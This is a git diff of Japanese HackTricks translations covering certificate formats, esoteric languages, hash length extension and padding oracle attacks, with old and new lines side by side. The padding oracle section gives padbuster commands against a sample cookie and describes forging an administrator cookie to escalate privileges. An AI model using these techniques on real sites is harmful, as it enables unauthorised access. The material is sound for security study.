証明書透明性は、SSL証明書の発行と存在がドメイン所有者、CA、およびユーザーに可視であることを確認することで、証明書関連の脅威に対抗します。その目的は次のとおりです: 証明書透明性は、SSL証明書の発行と存在がドメイン所有者、CA、およびユーザーに見えるようにすることで、証明書関連の脅威と戦うのに役立ちます。その目的は以下の通りです:
* ドメイン所有者の知識なしにドメインのためにSSL証明書を発行するCAを防ぐこと。 * ドメイン所有者の知らないうちにCAがSSL証明書を発行するのを防ぐこと。
* 誤ってまたは悪意を持って発行された証明書を追跡するためのオープンな監査システムを確立すること。 * 誤ってまたは悪意を持って発行された証明書を追跡するためのオープンな監査システムを確立すること。
* ユーザーを詐欺的な証明書から保護すること。 * ユーザーを詐欺的な証明書から保護すること。
#### **証明書ログ** #### **証明書ログ**
証明書ログは、ネットワークサービスによって維持される証明書の公開監査可能な追加専用レコードです。これらのログは監査目的のための暗号的証拠を提供します。発行権限と一般の両者は、これらのログに証明書を提出したり、検証のためにクエリを送信したりすることができます。ログサーバーの正確な数は固定されていませんが、グローバルで1000未満であると予想されています。これらのサーバーは、CA、ISP、または関連するエンティティによって独立して管理されることができます。 証明書ログは、ネットワークサービスによって維持される公開監査可能な追加専用の証明書記録です。これらのログは監査目的のための暗号的証明を提供します。発行機関と一般の人々は、これらのログに証明書を提出したり、検証のために照会したりできます。ログサーバーの正確な数は固定されていませんが、世界中で千未満であると予想されています。これらのサーバーは、CA、ISP、または関心のある任意の団体によって独立して管理されることがあります。
#### **クエリ** #### **照会**
任意のドメインの証明書透明性ログを調べるには、[https://crt.sh/](https://crt.sh)を訪れてください。 任意のドメインの証明書透明性ログを探索するには、[https://crt.sh/](https://crt.sh)を訪問してください。
証明書を保存するための異なるフォーマットが存在し、それぞれに独自の使用ケースと互換性があります。この要約では、主要なフォーマットをカバーし、それらの間の変換に関するガイダンスを提供します。
## **フォーマット** ## **フォーマット**
### **PEMフォーマット** ### **PEMフォーマット**
* 証明書のために最も広く使用されるフォーマット。 * 証明書の最も広く使用されているフォーマット。
* 証明書と秘密鍵に別々のファイルが必要で、Base64 ASCIIでエンコードされています。 * 証明書と秘密鍵のために別々のファイルが必要で、Base64 ASCIIでエンコードされています。
* 一般的な拡張子:.cer、.crt、.pem、.key。 * 一般的な拡張子:.cer, .crt, .pem, .key。
* 主にApacheおよび類似のサーバーで使用されます。 * 主にApacheや同様のサーバーで使用されます。
### **DERフォーマット** ### **DERフォーマット**
* 証明書のバイナリフォーマット。 * 証明書のバイナリフォーマット。
* PEMファイルに見られる「BEGIN/END CERTIFICATE」ステートメントが欠けています * PEMファイルに見られる「BEGIN/END CERTIFICATE」ステートメントがありません
* 一般的な拡張子:.cer.der。 * 一般的な拡張子:.cer, .der。
* Javaプラットフォームと一緒によく使用されます。 * Javaプラットフォームよく使用されます。
### **P7B/PKCS#7フォーマット** ### **P7B/PKCS#7フォーマット**
* Base64 ASCIIで保存され、拡張子は.p7bまたは.p7cです * Base64 ASCIIで保存され、拡張子は.p7bまたは.p7c。
* 秘密鍵を除く証明書とチェーン証明書のみを含みます。 * 秘密鍵を除く証明書とチェーン証明書のみを含みます。
* Microsoft WindowsおよびJava Tomcatでサポートされています。 * Microsoft WindowsおよびJava Tomcatでサポートされています。
### **PFX/P12/PKCS#12フォーマット** ### **PFX/P12/PKCS#12フォーマット**
* サーバー証明書、中間証明書、および秘密鍵を1つのファイルにカプセル化するバイナリフォーマットです * サーバー証明書、中間証明書、および秘密鍵を1つのファイルにカプセル化するバイナリフォーマット。
* 拡張子:.pfx.p12。 * 拡張子:.pfx, .p12。
* 証明書のインポートおよびエクスポートにWindowsで主に使用されます。 * 主にWindowsで証明書のインポートとエクスポートに使用されます。
### **フォーマットの変換** ### **フォーマットの変換**
@ -142,31 +145,31 @@ openssl x509 -inform der -in certificatename.der -out certificatename.pem
```bash ```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
``` ```
* **PKCS7をPEM形式変換する** * **PKCS7をPEMに**
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
``` ```
**PFX変換**はWindowsで証明書管理するために重要です: **PFX 変換**はWindows証明書管理において重要です:
* **PFXからPEM** * **PFX から PEM**
```bash ```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem openssl pkcs12 -in certificatename.pfx -out certificatename.pem
``` ```
* **PFX to PKCS#8** には2つのステップが関与します: * **PFX to PKCS#8** は2つのステップを含みます:
1. PFX を PEM に変換します。 1. PFXをPEMに変換する
```bash ```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
``` ```
2. PEMをPKCS8に変換します。 2. PEMをPKCS8に変換する
```bash ```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
``` ```
* **P7BからPFXへ**変換するには、2つのコマンドが必要です: * **P7B to PFX** には2つのコマンドが必要です
1. P7BをCERに変換しま 1. P7BをCERに変換す
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
``` ```
2. CERおよびプライベートキーをPFXに変換します。 2. CERとプライベートキーをPFXに変換する
```bash ```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
``` ```
@ -175,21 +178,22 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**してください。
</details> </details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# エソテリック言語 # エソテリック言語
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
{% endhint %}
## [エソテリック言語ウィキ](https://esolangs.org/wiki/Main\_Page) ## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
エソテリック言語をさらに検索するためにそのウィキをチェックしてください エソテリック言語をさらに検索するには、そのウィキを確認してください。
## Malbolge ## Malbolge
``` ```
@ -61,8 +64,6 @@ Whisper my world
{% embed url="https://codewithrockstar.com/" %} {% embed url="https://codewithrockstar.com/" %}
## PETOOH ## PETOOH
ペトゥー (PETOOH) は、スタックベースのエスパランとして知られるプログラミング言語です。
``` ```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@ -72,14 +73,17 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek Kukarek
``` ```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するためにPRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,27 +1,29 @@
# ハッシュ長延長攻撃 # ハッシュ長拡張攻撃
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見る
- **無料**で彼らのウェブサイトをチェックし、エンジンを試す:[https://whiteintel.io](https://whiteintel.io)
</details> </details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io) #### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 [**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: 彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
@ -29,28 +31,28 @@ WhiteIntelの主な目標は、情報窃取マルウェアによるアカウン
## 攻撃の概要 ## 攻撃の概要
あるサーバーが、ある既知のクリアテキストデータに**秘密**を**追加**してそのデータをハッシュ化して**署名**していると想像してください。以下を知っている場合 サーバーが**データ**に**秘密**を追加してハッシュ化することを**署名**していると想像してください。もしあなたが以下を知っているなら
- **秘密の長さ**(これは与えられた長さ範囲からもブルートフォースできます) * **秘密の長さ**(これは与えられた長さ範囲からもブルートフォース可能です)
- **クリアテキストデータ** * **平文データ**
- **アルゴリズム(およびこの攻撃に対して脆弱** * **アルゴリズム(この攻撃に対して脆弱である**
- **パディングが既知** * **パディングが知られている**
- 通常、デフォルトのものが使用されるため、他の3つの要件が満たされている場合、これも満たされま * 通常はデフォルトのものが使用されるため、他の3つの要件が満たされていれば、これもそうで
- パディングは秘密+データの長さに応じて異なります。そのため、秘密の長さが必要です * パディングは秘密+データの長さによって異なるため、秘密の長さが必要です
その後、**攻撃者**は**データ**を**追加**し、**以前のデータ+追加されたデータ**の有効な**署名**を**生成**することが可能です。 その場合、**攻撃者**は**データを追加**し、**以前のデータ + 追加データ**の有効な**署名**を**生成**することが可能です。
### 方法 ### どうやって?
基本的に、脆弱なアルゴリズムは、まず**データブロックをハッシュ化**し、その後、**以前に**作成された**ハッシュ**(状態)から**次のデータブロックを追加**して**ハッシュ化**します。 基本的に、脆弱なアルゴリズムは、最初に**データのブロックをハッシュ化**し、その後、**以前に作成された**ハッシュ(状態)から**次のデータブロックを追加**して**ハッシュ化**します。
次に、秘密が「secret」でデータが「data」であると想像してください。"secretdata"のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\ 例えば、秘密が「secret」でデータが「data」の場合、「secretdata」のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\
攻撃者が文字列「append」を追加したい場合 攻撃者が「append」という文字列を追加したい場合、彼は
- 64個の「A」のMD5を生成する * 64の「A」のMD5を生成する
- 以前に初期化されたハッシュの状態を6036708eba0d11f6ef52ad44e8b74d5bに変更する * 以前に初期化されたハッシュの状態を6036708eba0d11f6ef52ad44e8b74d5bに変更する
- 文字列「append」を追加する * 文字列「append」を追加する
- ハッシュを終了し、結果のハッシュは「secret」+「data」+「パディング」+「append」のための**有効なもの**になります * ハッシュを完了し、結果のハッシュは「secret」 + 「data」 + 「padding」 + 「append」の**有効なもの**になります
### **ツール** ### **ツール**
@ -64,23 +66,25 @@ WhiteIntelの主な目標は、情報窃取マルウェアによるアカウン
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 [**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: 彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見る
- **無料**で彼らのウェブサイトをチェックし、エンジンを試す:[https://whiteintel.io](https://whiteintel.io)
</details> </details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# パディングオラクル # Padding Oracle
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricks をサポートする他の方法: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください**
</details> </details>
{% endhint %}
## CBC - Cipher Block Chaining ## CBC - Cipher Block Chaining
CBCモードでは、**前の暗号化されたブロックがIVとして使用**され、次のブロックとXORされます: CBCモードでは、**前の暗号化ブロックがIVとして使用され**、次のブロックとXORされます
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png) ![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
CBCを復号するには、**逆の操作**が行われます: CBCを復号するには、**逆の** **操作**が行われます:
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png) ![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
暗号化には**暗号化キー**と**IV**が必要です **暗号化** **キー**と**IV**を使用する必要があることに注意してください
## メッセージパディング ## Message Padding
暗号化は**固定サイズのブロック**で行われるため、通常は**最後のブロックを完了するためにパディングが必要**です。\ 暗号化は**固定** **サイズ** **ブロック**で行われるため、**最後の** **ブロック**の長さを完成させるために**パディング**が通常必要です。\
通常は**PKCS7**が使用され、パディングはブロックを**完了するために必要なバイト数を繰り返す**ように生成されます。たとえば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。 通常、**PKCS7**が使用され、ブロックを完成させるために**必要なバイト数**を**繰り返す**パディングが生成されます。たとえば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。
**長さ8バイトの2ブロック**のさらなる例を見てみましょう: **8バイトの長さの2つのブロック**の例を見てみましょう:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@ -40,43 +41,43 @@ CBCを復号するには、**逆の操作**が行われます:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
最後の例では、**最後のブロックが完全だったため、別のブロックがパディングのみで生成**されたことに注意してください 最後の例では、**最後のブロックが満杯だったため、パディングだけの別のブロックが生成されました**
## パディングオラクル ## Padding Oracle
アプリケーションが暗号化されたデータを復号化すると、まずデータを復号化し、その後パディングを削除します。パディングのクリーンアップ中に、**無効なパディングが検出可能な動作を引き起こす**と、**パディングオラクルの脆弱性**が発生します。検出可能な動作には、**エラー**、**結果の欠如**、または**応答の遅延**が含まれる可能性があります。 アプリケーションが暗号化されたデータを復号するとき、最初にデータを復号し、その後パディングを削除します。パディングのクリーンアップ中に、**無効なパディングが検出可能な動作を引き起こす**場合、**パディングオラクルの脆弱性**があります。検出可能な動作は、**エラー**、**結果の欠如**、または**応答の遅延**である可能性があります。
この動作を検出した場合、**暗号化されたデータを復号化**し、さらに**任意のクリアテキストを暗号化**することができます。 この動作を検出すると、**暗号化されたデータを復号**し、さらには**任意の平文を暗号化**することができます。
### 悪用方法 ### How to exploit
この種の脆弱性を悪用するには、[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)を使用するか、単に行います この種の脆弱性を悪用するには、[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)を使用するか、単に行うことができます。
``` ```
sudo apt-get install padbuster sudo apt-get install padbuster
``` ```
サイトのクッキーが脆弱かどうかをテストするためには、次のように試すことができます: サイトのクッキーが脆弱かどうかをテストするために、次のことを試すことができます:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
``` ```
**エンコーディング0**は、**base64**が使用されていることを意味します(他にも利用可能なものがありますが、ヘルプメニューを確認してください)。 **エンコーディング 0** は **base64** が使用されていることを意味します(他のオプションも利用可能ですので、ヘルプメニューを確認してください)。
この脆弱性を悪用して新しいデータを暗号化することもできます。たとえば、クッキーの内容が "**_**user=MyUsername**_**" であるとします。その場合、"\_user=administrator\_" に変更してアプリケーション内で特権を昇格させることができます。`paduster`を使用して、-plaintext**パラメータを指定して行うこともできます。 この脆弱性を悪用して新しいデータを暗号化することもできます。えば、クッキーの内容が "**_**user=MyUsername**_**" の場合、これを "\_user=administrator\_" に変更してアプリケーション内で権限を昇格させることができます。また、`paduster` を使用して -plaintext** パラメータを指定することでも可能です:
```bash ```bash
